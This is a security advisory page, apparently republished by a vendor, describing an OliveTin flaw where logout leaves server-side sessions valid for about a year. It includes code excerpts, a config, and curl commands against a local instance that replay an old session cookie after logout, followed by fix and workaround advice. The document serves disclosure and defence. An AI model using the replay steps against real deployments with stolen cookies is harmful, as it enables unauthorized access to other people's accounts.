GHSA-gq2m-77hf-vwgh
MEDIUMOliveTin Session Fixation: Logout Fails to Invalidate Server-Side Session
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Blast Radius
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Description
Summary
OliveTin does not revoke server-side sessions when a user logs out. Although the browser cookie is cleared, the corresponding session remains valid in server storage until expiry (default ≈ 1 year).
An attacker with a previously stolen or captured session cookie can continue authenticating after logout, resulting in a post-logout authentication bypass.
This is a session management flaw that violates expected logout semantics.
Details
During logout:
// Logout only clears browser cookie
response.Header().Set("Set-Cookie", localCookie.String())
However, the server still accepts the session:
session := sessionStorage.Providers[provider].Sessions[sid]
...
return session
The SID is not deleted from sessionStorage.
Why vulnerable: Logout does not remove the SID from sessionStorage; old cookie is still accepted until expiry (~1 year).
File: api.go, sessions.go, local.go Lines: api.go:392-427; sessions.go:39-59, 61-80; local.go:32-47 Behavior
- Login → receive SID cookie
- Logout → cookie cleared client-side
- Replay old SID manually → still authenticated
Expected:
- Logout invalidates session immediately
Actual:
- Old SID remains usable until expiry
PoC
Minimal config
listenAddressSingleHTTPFrontend: 0.0.0.0:16642
authRequireGuestsToLogin: true
authLocalUsers:
enabled: true
users:
- username: low
usergroup: users
password: "$argon2id$..."
actions:
- title: Dummy
id: dummy
shell: "echo dummy"
Reproduction
Login and capture SID:
LOGIN=$(curl -i -X POST http://localhost:16642/api/LocalUserLogin \
-H 'Content-Type: application/json' \
-d '{"username":"low","password":"lowpass"}')
SID=$(printf '%s\n' "$LOGIN" | awk -F'[=;]' '/olivetin-sid-local/{print $2}')
Works before logout:
curl -X POST http://localhost:16642/api/WhoAmI \
-H "Cookie: olivetin-sid-local=$SID"
Logout:
curl -X POST http://localhost:16642/api/Logout \
-H "Cookie: olivetin-sid-local=$SID"
Replay old cookie:
curl -X POST http://localhost:16642/api/WhoAmI \
-H "Cookie: olivetin-sid-local=$SID"
Result
User is still authenticated after logout.
Impact
Type:
Session Management Flaw
- Logout Bypass
- Session Replay
Risk:
- Stolen cookies remain valid
- Persistent unauthorized access
- Users falsely believe logout ended the session
Attack scenarios:
- Shared computers
- XSS/session theft
- Proxy logs
- Malware/browser compromise
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/OliveTin/OliveTin | all versions | 0.0.0-20260304233115-d6a0abc3755d15 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/OliveTin/OliveTin. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update github.com/OliveTin/OliveTin to 0.0.0-20260304233115-d6a0abc3755d15 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-gq2m-77hf-vwgh is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
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